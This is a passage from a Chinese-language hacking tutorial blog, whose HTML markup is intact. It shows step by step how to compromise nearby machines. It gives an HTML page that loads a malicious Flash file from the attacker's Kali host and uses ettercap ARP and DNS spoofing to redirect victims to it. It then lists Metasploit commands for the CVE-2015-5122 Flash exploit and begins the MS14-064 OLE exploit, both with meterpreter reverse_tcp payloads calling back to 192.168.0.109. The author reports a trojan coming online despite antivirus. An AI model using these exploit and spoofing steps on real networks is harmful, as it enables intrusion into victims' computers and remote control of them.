<span style="background:white;">exp1.fla</span></span><span style="background:white;color:#444444;font-family:宋体;">然后点文件</span><span lang="EN-US" style="background:white;color:#444444;font-family:Verdana,sans-serif;">-</span><span style="background:white;color:#444444;font-family:宋体;">发布，看看编译没错误</span><span lang="EN-US" style="color:#444444;font-family:Verdana,sans-serif;"><br />
<br />
</span><img width="600" height="313" src="https://www.2k8.org/content/uploadfile/202203/17/e77f7dc1.png" alt="2-9.png" style="vertical-align:middle;" /><span lang="EN-US" style="color:#444444;font-family:Verdana,sans-serif;"><br />
<br />
</span><span style="background:white;color:#444444;font-family:宋体;">然后我们把生成的</span><span lang="EN-US" style="color:#444444;font-family:Verdana,sans-serif;"><br />
<span style="background:white;">exp1.swf</span></span><span style="background:white;color:#444444;font-family:宋体;">丢到</span><span lang="EN-US" style="background:white;color:#444444;font-family:Verdana,sans-serif;">kailinux </span><span style="background:white;color:#444444;font-family:宋体;">的</span><span lang="EN-US" style="background:white;color:#444444;font-family:Verdana,sans-serif;">/var/www/html</span><span style="background:white;color:#444444;font-family:宋体;">下：</span><span lang="EN-US" style="color:#444444;font-family:Verdana,sans-serif;"><br />
</span><span style="background:white;color:#444444;font-family:宋体;">然后把这段代码好好编辑一下</span><span lang="EN-US" style="font-family:宋体;font-size:12.0pt;"></span>
</p>
<p align="left" style="background:white;font-family:等线;font-size:10.5pt;margin:0cm;tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;text-align:left;text-justify:inter-ideograph;">
        <span lang="EN-US" style="color:#75715E;font-family:宋体;font-size:12.0pt;">&lt;!DOCTYPE html&gt;</span><span lang="EN-US" style="color:#444444;font-family:宋体;font-size:12.0pt;"></span>
</p>
<p align="left" style="background:white;font-family:等线;font-size:10.5pt;margin:0cm;tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;text-align:left;text-justify:inter-ideograph;">
        <span lang="EN-US" style="color:#444444;font-family:宋体;font-size:12.0pt;">&lt;</span><span lang="EN-US" style="color:#F92672;font-family:宋体;font-size:12.0pt;">html</span><span lang="EN-US" style="color:#444444;font-family:宋体;font-size:12.0pt;">&gt;</span>
</p>
<p align="left" style="background:white;font-family:等线;font-size:10.5pt;margin:0cm;tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;text-align:left;text-justify:inter-ideograph;">
        <span lang="EN-US" style="color:#444444;font-family:宋体;font-size:12.0pt;">&lt;</span><span lang="EN-US" style="color:#F92672;font-family:宋体;font-size:12.0pt;">head</span><span lang="EN-US" style="color:#444444;font-family:宋体;font-size:12.0pt;">&gt;</span>
</p>
<p align="left" style="background:white;font-family:等线;font-size:10.5pt;margin:0cm;tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;text-align:left;text-justify:inter-ideograph;">
        <span lang="EN-US" style="color:#444444;font-family:宋体;font-size:12.0pt;">&lt;</span><span lang="EN-US" style="color:#F92672;font-family:宋体;font-size:12.0pt;">meta</span><span lang="EN-US" style="color:#444444;font-family:宋体;font-size:12.0pt;"> </span><span lang="EN-US" style="color:#F92672;font-family:宋体;font-size:12.0pt;">http-equiv</span><span lang="EN-US" style="color:#444444;font-family:宋体;font-size:12.0pt;">=</span><span lang="EN-US" style="color:#E6DB74;font-family:宋体;font-size:12.0pt;">"Content-Type"</span><span lang="EN-US" style="color:#444444;font-family:宋体;font-size:12.0pt;"> </span><span lang="EN-US" style="color:#F92672;font-family:宋体;font-size:12.0pt;">content</span><span lang="EN-US" style="color:#444444;font-family:宋体;font-size:12.0pt;">=</span><span lang="EN-US" style="color:#E6DB74;font-family:宋体;font-size:12.0pt;">"text/html; </span>
</p>
<p align="left" style="background:white;font-family:等线;font-size:10.5pt;margin:0cm;tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;text-align:left;text-justify:inter-ideograph;">
        <span lang="EN-US" style="color:#E6DB74;font-family:宋体;font-size:12.0pt;">charset=utf-8"</span><span lang="EN-US" style="color:#444444;font-family:宋体;font-size:12.0pt;">/&gt;</span>
</p>
<p align="left" style="background:white;font-family:等线;font-size:10.5pt;margin:0cm;tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;text-align:left;text-justify:inter-ideograph;">
        <span lang="EN-US" style="color:#444444;font-family:宋体;font-size:12.0pt;">&lt;/</span><span lang="EN-US" style="color:#F92672;font-family:宋体;font-size:12.0pt;">head</span><span lang="EN-US" style="color:#444444;font-family:宋体;font-size:12.0pt;">&gt;</span>
</p>
<p align="left" style="background:white;font-family:等线;font-size:10.5pt;margin:0cm;tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;text-align:left;text-justify:inter-ideograph;">
        <span lang="EN-US" style="color:#444444;font-family:宋体;font-size:12.0pt;">&lt;</span><span lang="EN-US" style="color:#F92672;font-family:宋体;font-size:12.0pt;">body</span><span lang="EN-US" style="color:#444444;font-family:宋体;font-size:12.0pt;">&gt;</span>
</p>
<p align="left" style="background:white;font-family:等线;font-size:10.5pt;margin:0cm;tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;text-align:left;text-justify:inter-ideograph;">
        <span lang="EN-US" style="color:#444444;font-family:宋体;font-size:12.0pt;">&lt;</span><span lang="EN-US" style="color:#F92672;font-family:宋体;font-size:12.0pt;">h2</span><span lang="EN-US" style="color:#444444;font-family:宋体;font-size:12.0pt;">&gt; Please wait, the requested page is loading...&lt;/</span><span lang="EN-US" style="color:#F92672;font-family:宋体;font-size:12.0pt;">h2</span><span lang="EN-US" style="color:#444444;font-family:宋体;font-size:12.0pt;">&gt;</span>
</p>
<p align="left" style="background:white;font-family:等线;font-size:10.5pt;margin:0cm;tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;text-align:left;text-justify:inter-ideograph;">
        <span lang="EN-US" style="color:#444444;font-family:宋体;font-size:12.0pt;">&lt;</span><span lang="EN-US" style="color:#F92672;font-family:宋体;font-size:12.0pt;">br</span><span lang="EN-US" style="color:#444444;font-family:宋体;font-size:12.0pt;">&gt;</span>
</p>
<p align="left" style="background:white;font-family:等线;font-size:10.5pt;margin:0cm;tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;text-align:left;text-justify:inter-ideograph;">
        <span lang="EN-US" style="color:#444444;font-family:宋体;font-size:12.0pt;">&lt;</span><span lang="EN-US" style="color:#F92672;font-family:宋体;font-size:12.0pt;">OBJECT</span><span lang="EN-US" style="color:#444444;font-family:宋体;font-size:12.0pt;"> </span>
</p>
<p align="left" style="background:white;font-family:等线;font-size:10.5pt;margin:0cm;tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;text-align:left;text-justify:inter-ideograph;">
        <span lang="EN-US" style="color:#F92672;font-family:宋体;font-size:12.0pt;">classid</span><span lang="EN-US" style="color:#444444;font-family:宋体;font-size:12.0pt;">=</span><span lang="EN-US" style="color:#E6DB74;font-family:宋体;font-size:12.0pt;">"clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"</span><span lang="EN-US" style="color:#444444;font-family:宋体;font-size:12.0pt;">&nbsp;&nbsp;</span><span lang="EN-US" style="color:#F92672;font-family:宋体;font-size:12.0pt;">WIDTH</span><span lang="EN-US" style="color:#444444;font-family:宋体;font-size:12.0pt;">=</span><span lang="EN-US" style="color:#E6DB74;font-family:宋体;font-size:12.0pt;">"50"</span><span lang="EN-US" style="color:#444444;font-family:宋体;font-size:12.0pt;"> </span><span lang="EN-US" style="color:#F92672;font-family:宋体;font-size:12.0pt;">HEIGHT</span><span lang="EN-US" style="color:#444444;font-family:宋体;font-size:12.0pt;">=</span><span lang="EN-US" style="color:#E6DB74;font-family:宋体;font-size:12.0pt;">"50"</span><span lang="EN-US" style="color:#444444;font-family:宋体;font-size:12.0pt;"> </span><span lang="EN-US" style="color:#F92672;font-family:宋体;font-size:12.0pt;">id</span><span lang="EN-US" style="color:#444444;font-family:宋体;font-size:12.0pt;">=</span><span lang="EN-US" style="color:#E6DB74;font-family:宋体;font-size:12.0pt;">"4"</span><span lang="EN-US" style="color:#444444;font-family:宋体;font-size:12.0pt;">&gt;&lt;</span><span lang="EN-US" style="color:#F92672;font-family:宋体;font-size:12.0pt;">PARAM</span><span lang="EN-US" style="color:#444444;font-family:宋体;font-size:12.0pt;"> </span><span lang="EN-US" style="color:#F92672;font-family:宋体;font-size:12.0pt;">NAME</span><span lang="EN-US" style="color:#444444;font-family:宋体;font-size:12.0pt;">=</span><span lang="EN-US" style="color:#E6DB74;font-family:宋体;font-size:12.0pt;">movie</span><span lang="EN-US" style="color:#444444;font-family:宋体;font-size:12.0pt;"> </span>
</p>
<p align="left" style="background:white;font-family:等线;font-size:10.5pt;margin:0cm;tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;text-align:left;text-justify:inter-ideograph;">
        <span lang="EN-US" style="color:#F92672;font-family:宋体;font-size:12.0pt;">VALUE</span><span lang="EN-US" style="color:#444444;font-family:宋体;font-size:12.0pt;">=</span><span lang="EN-US" style="color:#E6DB74;font-family:宋体;font-size:12.0pt;">"http://192.168.0.109/exp1.swf"</span><span lang="EN-US" style="color:#444444;font-family:宋体;font-size:12.0pt;">&gt;&lt;/</span><span lang="EN-US" style="color:#F92672;font-family:宋体;font-size:12.0pt;">OBJECT</span><span lang="EN-US" style="color:#444444;font-family:宋体;font-size:12.0pt;">&gt;</span>
</p>
<p align="left" style="background:white;font-family:等线;font-size:10.5pt;margin:0cm;tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;text-align:left;text-justify:inter-ideograph;">
        <span lang="EN-US" style="color:#444444;font-family:宋体;font-size:12.0pt;">&lt;/</span><span lang="EN-US" style="color:#F92672;font-family:宋体;font-size:12.0pt;">body</span><span lang="EN-US" style="color:#444444;font-family:宋体;font-size:12.0pt;">&gt;</span>
</p>
<p align="left" style="background:white;font-family:等线;font-size:10.5pt;margin:0cm;tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;text-align:left;text-justify:inter-ideograph;">
        <span lang="EN-US" style="color:#444444;font-family:宋体;font-size:12.0pt;">&lt;</span><span lang="EN-US" style="color:#F92672;font-family:宋体;font-size:12.0pt;">script</span><span lang="EN-US" style="color:#444444;font-family:宋体;font-size:12.0pt;">&gt;</span>
</p>
<p align="left" style="background:white;font-family:等线;font-size:10.5pt;margin:0cm;tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;text-align:left;text-justify:inter-ideograph;">
        <span lang="EN-US" style="color:#444444;font-family:宋体;font-size:12.0pt;">&nbsp; &nbsp; setTimeout(</span><span lang="EN-US" style="color:#F92672;font-family:宋体;font-size:12.0pt;">function</span><span lang="EN-US" style="color:#444444;font-family:宋体;font-size:12.0pt;"> () {</span>
</p>
<p align="left" style="background:white;font-family:等线;font-size:10.5pt;margin:0cm;tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;text-align:left;text-justify:inter-ideograph;">
        <span lang="EN-US" style="color:#444444;font-family:宋体;font-size:12.0pt;">&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;</span>
</p>
<p align="left" style="background:white;font-family:等线;font-size:10.5pt;margin:0cm;tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;text-align:left;text-justify:inter-ideograph;">
        <span lang="EN-US" style="color:#E6DB74;font-family:宋体;font-size:12.0pt;">window</span><span lang="EN-US" style="color:#444444;font-family:宋体;font-size:12.0pt;">.location.reload();</span>
</p>
<p align="left" style="background:white;font-family:等线;font-size:10.5pt;margin:0cm;tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;text-align:left;text-justify:inter-ideograph;">
        <span lang="EN-US" style="color:#444444;font-family:宋体;font-size:12.0pt;">&nbsp; &nbsp; }, </span><span lang="EN-US" style="color:#AE81FF;font-family:宋体;font-size:12.0pt;">10000</span><span lang="EN-US" style="color:#444444;font-family:宋体;font-size:12.0pt;">);</span>
</p>
<p align="left" style="background:white;font-family:等线;font-size:10.5pt;margin:0cm;tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;text-align:left;text-justify:inter-ideograph;">
        <span lang="EN-US" style="color:#444444;font-family:宋体;font-size:12.0pt;">&nbsp;</span>
</p>
<p align="left" style="background:white;font-family:等线;font-size:10.5pt;margin:0cm;tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;text-align:left;text-justify:inter-ideograph;">
        <span lang="EN-US" style="color:#444444;font-family:宋体;font-size:12.0pt;">&lt;/</span><span lang="EN-US" style="color:#F92672;font-family:宋体;font-size:12.0pt;">script</span><span lang="EN-US" style="color:#444444;font-family:宋体;font-size:12.0pt;">&gt;</span>
</p>
<p align="left" style="background:white;font-family:等线;font-size:10.5pt;margin:0cm;tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;text-align:left;text-justify:inter-ideograph;">
        <span lang="EN-US" style="color:#444444;font-family:宋体;font-size:12.0pt;">&lt;/</span><span lang="EN-US" style="color:#F92672;font-family:宋体;font-size:12.0pt;">html</span><span lang="EN-US" style="color:#444444;font-family:宋体;font-size:12.0pt;">&gt;</span>
</p>
<p style="font-family:等线;font-size:10.5pt;margin:0cm;text-align:justify;text-justify:inter-ideograph;">
        <span style="background:white;color:#444444;font-family:宋体;">注意：</span><span lang="EN-US" style="background:white;color:#444444;font-family:Verdana,sans-serif;">192.168.0.109</span><span style="background:white;color:#444444;font-family:宋体;">是</span><span lang="EN-US" style="background:white;color:#444444;font-family:Verdana,sans-serif;">kali</span><span style="background:white;color:#444444;font-family:宋体;">的</span><span lang="EN-US" style="background:white;color:#444444;font-family:Verdana,sans-serif;">ip</span><span style="background:white;color:#444444;font-family:宋体;">地址，这时候我们需要</span><span lang="EN-US" style="background:white;color:#444444;font-family:Verdana,sans-serif;">service apache2 start</span><span style="background:white;color:#444444;font-family:宋体;">启动一下</span><span lang="EN-US" style="background:white;color:#444444;font-family:Verdana,sans-serif;">web</span><span style="background:white;color:#444444;font-family:宋体;">服务，然后将上面的</span><span lang="EN-US" style="background:white;color:#444444;font-family:Verdana,sans-serif;">html</span><span style="background:white;color:#444444;font-family:宋体;">保存为</span><span lang="EN-US" style="background:white;color:#444444;font-family:Verdana,sans-serif;">index.htm</span><span style="background:white;color:#444444;font-family:宋体;">同样丢到</span><span lang="EN-US" style="background:white;color:#444444;font-family:Verdana,sans-serif;">kali web</span><span style="background:white;color:#444444;font-family:宋体;">目录下，测试访问链接存在如图：</span><span lang="EN-US" style="color:#444444;font-family:Verdana,sans-serif;"><br />
<br />
</span><img width="600" height="307" src="https://www.2k8.org/content/uploadfile/202203/17/8ce8513e.png" alt="2-10.png" style="vertical-align:middle;" /><span lang="EN-US" style="color:#444444;font-family:Verdana,sans-serif;"><br />
<br />
</span><span style="background:white;color:#444444;font-family:宋体;">下面我们用</span><span lang="EN-US" style="background:white;color:#444444;font-family:Verdana,sans-serif;">ettercap</span><span style="background:white;color:#444444;font-family:宋体;">欺骗如图：</span><span lang="EN-US" style="color:#444444;font-family:Verdana,sans-serif;"><br />
<br />
</span><img width="600" height="278" src="https://www.2k8.org/content/uploadfile/202203/17/d6f7bbe8.png" alt="2-11.png" style="vertical-align:middle;" /><span lang="EN-US" style="color:#444444;font-family:Verdana,sans-serif;"><br />
<br />
</span><span style="background:white;color:#444444;font-family:宋体;">下面我们随便访问个网站看看：</span><span lang="EN-US" style="color:#444444;font-family:Verdana,sans-serif;"><br />
</span><span style="background:white;color:#444444;font-family:宋体;">我靠我发现直接用</span><span lang="EN-US" style="background:white;color:#444444;font-family:Verdana,sans-serif;">ettercap</span><span style="background:white;color:#444444;font-family:宋体;">欺骗物理机装了腾讯管家照样可以欺骗成功，木马上线如图：</span><span lang="EN-US" style="color:#444444;font-family:Verdana,sans-serif;"><br />
<br />
</span><img width="600" height="291" src="https://www.2k8.org/content/uploadfile/202203/17/43c245aa.png" alt="2-12.png" style="vertical-align:middle;" /><span lang="EN-US" style="color:#444444;font-family:Verdana,sans-serif;"><br />
<br />
</span><span style="background:white;color:#444444;font-family:宋体;">我们看另一台</span><span lang="EN-US" style="color:#444444;font-family:Verdana,sans-serif;"><br />
<br />
</span><img width="600" height="332" src="https://www.2k8.org/content/uploadfile/202203/17/4395a3a0.png" alt="2-13.png" style="vertical-align:middle;" /><span lang="EN-US" style="color:#444444;font-family:Verdana,sans-serif;"><br />
<br />
</span><span style="background:white;color:#444444;font-family:宋体;">提示这个错误，说明木马是成功被下载执行了，只是由于某些原因没上线而已。。。不管他了，第二篇</span><span lang="EN-US" style="background:white;color:#444444;font-family:Verdana,sans-serif;">over</span><span style="background:white;color:#444444;font-family:宋体;">。。。</span><span lang="EN-US" style="color:#444444;font-family:Verdana,sans-serif;"><br />
<br />
<br />
</span><b><span style="background:white;color:green;font-family:宋体;">第三篇</span></b><b><span lang="EN-US" style="background:white;color:green;font-family:Verdana,sans-serif;">&nbsp;&nbsp;cve2015-5122</span></b><b><span style="background:white;color:green;font-family:宋体;">漏洞实例演示虚拟机</span></b><span lang="EN-US" style="color:#444444;font-family:Verdana,sans-serif;"><br />
<br />
<span style="background:white;">&nbsp; &nbsp; </span></span><span style="background:white;color:#444444;font-family:宋体;">关于</span><span lang="EN-US" style="background:white;color:#444444;font-family:Verdana,sans-serif;">cve2015-5122</span><span style="background:white;color:#444444;font-family:宋体;">这个漏洞，大家可以百度一下，是关于</span><span lang="EN-US" style="background:white;color:#444444;font-family:Verdana,sans-serif;">flash</span><span style="background:white;color:#444444;font-family:宋体;">的漏洞，是</span><span lang="EN-US" style="background:white;color:#444444;font-family:Verdana,sans-serif;">2015</span><span style="background:white;color:#444444;font-family:宋体;">年</span><span lang="EN-US" style="background:white;color:#444444;font-family:Verdana,sans-serif;">flash</span><span style="background:white;color:#444444;font-family:宋体;">漏洞的第二发，今天我们就用这个漏洞来演示，开启</span><span lang="EN-US" style="background:white;color:#444444;font-family:Verdana,sans-serif;">kai linux msfconsole</span><span style="background:white;color:#444444;font-family:宋体;">命令启动</span><span lang="EN-US" style="background:white;color:#444444;font-family:Verdana,sans-serif;">msf</span><span style="background:white;color:#444444;font-family:宋体;">如图：</span><span lang="EN-US" style="color:#444444;font-family:Verdana,sans-serif;"><br />
<span style="background:white;">search cve-2015-5122</span></span><span style="background:white;color:#444444;font-family:宋体;">如图：</span><span lang="EN-US" style="color:#444444;font-family:Verdana,sans-serif;"><br />
<br />
</span><img width="570" height="280" src="https://www.2k8.org/content/uploadfile/202203/17/e2bb9033.png" alt="3-1.png" style="vertical-align:middle;" /><span lang="EN-US" style="color:#444444;font-family:Verdana,sans-serif;"><br />
</span><span style="background:white;color:#444444;font-family:宋体;">下面我们敲如下命令：</span><span lang="EN-US" style="color:#444444;font-family:Verdana,sans-serif;"><br />
<span style="background:white;">use exploit/multi/browser/adobe_flash_opaque_background_uaf</span><br />
<span style="background:white;">set PAYLOAD windows/meterpreter/reverse_tcp</span><br />
<span style="background:white;">set LHOST 192.168.0.109</span><br />
<span style="background:white;">set URIPATH /&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;/*</span></span><span style="background:white;color:#444444;font-family:宋体;">根目录</span><span lang="EN-US" style="background:white;color:#444444;font-family:Verdana,sans-serif;">*/</span><span lang="EN-US" style="color:#444444;font-family:Verdana,sans-serif;"><br />
<span style="background:white;">set SRVHOST 192.168.0.109&nbsp;&nbsp;//192.168.0.109</span></span><span style="background:white;color:#444444;font-family:宋体;">为</span><span lang="EN-US" style="background:white;color:#444444;font-family:Verdana,sans-serif;">kaili ip</span><span style="background:white;color:#444444;font-family:宋体;">地址</span><span lang="EN-US" style="color:#444444;font-family:Verdana,sans-serif;"><br />
<span style="background:white;">set SRVPORT 80&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;/*80</span></span><span style="background:white;color:#444444;font-family:宋体;">端口</span><span lang="EN-US" style="background:white;color:#444444;font-family:Verdana,sans-serif;">*/ </span><span style="background:white;color:#444444;font-family:宋体;">使用</span><span lang="EN-US" style="background:white;color:#444444;font-family:Verdana,sans-serif;">80</span><span style="background:white;color:#444444;font-family:宋体;">端口时要保证</span><span lang="EN-US" style="background:white;color:#444444;font-family:Verdana,sans-serif;">apache</span><span style="background:white;color:#444444;font-family:宋体;">为停止状态用</span><span lang="EN-US" style="background:white;color:#444444;font-family:Verdana,sans-serif;">service apache2 stop</span><span style="background:white;color:#444444;font-family:宋体;">命令停止否则会提示端口被占用</span><span lang="EN-US" style="color:#444444;font-family:Verdana,sans-serif;"><br />
</span><span style="background:white;color:#444444;font-family:宋体;">然后</span><span lang="EN-US" style="background:white;color:#444444;font-family:Verdana,sans-serif;">show options</span><span style="background:white;color:#444444;font-family:宋体;">如图：</span><span lang="EN-US" style="color:#444444;font-family:Verdana,sans-serif;"><br />
<br />
</span><img width="600" height="314" src="https://www.2k8.org/content/uploadfile/202203/17/082afd09.png" alt="3-2.png" style="vertical-align:middle;" /><span lang="EN-US" style="color:#444444;font-family:Verdana,sans-serif;"><br />
<br />
</span><span style="background:white;color:#444444;font-family:宋体;">一切都设置好了，执行</span><span lang="EN-US" style="background:white;color:#444444;font-family:Verdana,sans-serif;">exploit</span><span style="background:white;color:#444444;font-family:宋体;">。下面我们进</span><span lang="EN-US" style="background:white;color:#444444;font-family:Verdana,sans-serif;">etc/ettercap</span><span style="background:white;color:#444444;font-family:宋体;">目录下设置</span><span lang="EN-US" style="background:white;color:#444444;font-family:Verdana,sans-serif;">etc.dns</span><span style="background:white;color:#444444;font-family:宋体;">如图：</span><span lang="EN-US" style="color:#444444;font-family:Verdana,sans-serif;"><br />
<br />
</span><img width="600" height="349" src="https://www.2k8.org/content/uploadfile/202203/17/99c22bba.png" alt="3-3.png" style="vertical-align:middle;" /><span lang="EN-US" style="color:#444444;font-family:Verdana,sans-serif;"><br />
</span><span style="background:white;color:#444444;font-family:宋体;">然后</span><span lang="EN-US" style="background:white;color:#444444;font-family:Verdana,sans-serif;">ettercap -G</span><span style="background:white;color:#444444;font-family:宋体;">命令打开</span><span lang="EN-US" style="background:white;color:#444444;font-family:Verdana,sans-serif;">ettercap</span><span style="background:white;color:#444444;font-family:宋体;">，我们要攻击的主机</span><span lang="EN-US" style="background:white;color:#444444;font-family:Verdana,sans-serif;">ip</span><span style="background:white;color:#444444;font-family:宋体;">是</span><span lang="EN-US" style="background:white;color:#444444;font-family:Verdana,sans-serif;">192.168.0</span><span style="background:white;color:#444444;font-family:宋体;">。</span><span lang="EN-US" style="background:white;color:#444444;font-family:Verdana,sans-serif;">115</span><span lang="EN-US" style="color:#444444;font-family:Verdana,sans-serif;"><br />
<br />
<br />
</span><img width="554" height="256" src="https://www.2k8.org/content/uploadfile/202203/17/98b1cf71.png" alt="3-4.png" style="vertical-align:middle;" /><span lang="EN-US" style="color:#444444;font-family:Verdana,sans-serif;"><br />
<br />
<span style="background:white;">Ettercap</span></span><span style="background:white;color:#444444;font-family:宋体;">过程第一篇里已经演示，这里不在详细写了。。。执行完</span><span lang="EN-US" style="background:white;color:#444444;font-family:Verdana,sans-serif;">ettercap</span><span style="background:white;color:#444444;font-family:宋体;">以后我们观察一下</span><span lang="EN-US" style="background:white;color:#444444;font-family:Verdana,sans-serif;">msf</span><span lang="EN-US" style="color:#444444;font-family:Verdana,sans-serif;"><br />
<br />
</span><img width="559" height="275" src="https://www.2k8.org/content/uploadfile/202203/17/072ece78.png" alt="3-5.png" style="vertical-align:middle;" /><span lang="EN-US" style="color:#444444;font-family:Verdana,sans-serif;"><br />
<br />
</span><span style="background:white;color:#444444;font-family:宋体;">成功了，这时候我们断开</span><span lang="EN-US" style="background:white;color:#444444;font-family:Verdana,sans-serif;">ettercap</span><span style="background:white;color:#444444;font-family:宋体;">，如图：</span><span lang="EN-US" style="color:#444444;font-family:Verdana,sans-serif;"><br />
<br />
</span><img width="601" height="335" src="https://www.2k8.org/content/uploadfile/202203/17/3cc95430.png" alt="3-6.png" style="vertical-align:middle;" /><span lang="EN-US" style="color:#444444;font-family:Verdana,sans-serif;"><br />
<span style="background:white;">Screenshot</span></span><span style="background:white;color:#444444;font-family:宋体;">如图：</span><span lang="EN-US" style="color:#444444;font-family:Verdana,sans-serif;"><br />
<br />
</span><img width="601" height="314" src="https://www.2k8.org/content/uploadfile/202203/17/661aa61b.png" alt="3-7.png" style="vertical-align:middle;" /><span lang="EN-US" style="color:#444444;font-family:Verdana,sans-serif;"><br />
<br />
</span><img width="601" height="306" src="https://www.2k8.org/content/uploadfile/202203/17/e5ec0aa1.png" alt="3-8.png" style="vertical-align:middle;" /><span lang="EN-US" style="color:#444444;font-family:Verdana,sans-serif;"><br />
<br />
<br />
</span><b><span style="background:white;color:green;font-family:宋体;">第四篇</span></b><b><span lang="EN-US" style="background:white;color:green;font-family:Verdana,sans-serif;">&nbsp;&nbsp;MS14-064 </span></b><b><span style="background:white;color:green;font-family:宋体;">漏洞测试入侵</span></b><b><span lang="EN-US" style="background:white;color:green;font-family:Verdana,sans-serif;">win7</span></b><span lang="EN-US" style="color:#444444;font-family:Verdana,sans-serif;"><br />
<br />
<span style="background:white;">&nbsp; &nbsp;</span></span><span style="background:white;color:#444444;font-family:宋体;">我发现</span><span lang="EN-US" style="background:white;color:#444444;font-family:Verdana,sans-serif;">msf</span><span style="background:white;color:#444444;font-family:宋体;">下的</span><span lang="EN-US" style="background:white;color:#444444;font-family:Verdana,sans-serif;">exp</span><span style="background:white;color:#444444;font-family:宋体;">只能针对带有</span><span lang="EN-US" style="background:white;color:#444444;font-family:Verdana,sans-serif;">powershell</span><span style="background:white;color:#444444;font-family:宋体;">的机器进行攻击，我们用如下方法来搞演示</span><span lang="EN-US" style="color:#444444;font-family:Verdana,sans-serif;"><br />
</span><span style="background:white;color:#444444;font-family:宋体;">开启</span><span lang="EN-US" style="background:white;color:#444444;font-family:Verdana,sans-serif;">msf</span><span style="background:white;color:#444444;font-family:宋体;">执行命令</span><span lang="EN-US" style="background:white;color:#444444;font-family:Verdana,sans-serif;">use exploits/windows/browser/ms14_064_ole_code_execution</span><span style="background:white;color:#444444;font-family:宋体;">如图：</span><span lang="EN-US" style="color:#444444;font-family:Verdana,sans-serif;"><br />
<br />
<br />
</span><img width="599" height="354" src="https://www.2k8.org/content/uploadfile/202203/17/2c9b9875.png" alt="4-1.png" style="vertical-align:middle;" /><span lang="EN-US" style="color:#444444;font-family:Verdana,sans-serif;"><br />
<br />
</span><b><span style="background:white;color:#444444;font-family:宋体;">然后执行命令</span></b><b><span lang="EN-US" style="background:white;color:#444444;font-family:Verdana,sans-serif;"> set PAYLOAD windows/meterpreter/reverse_tcp<br />
&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;set AllowPowershellPrompt true<br />
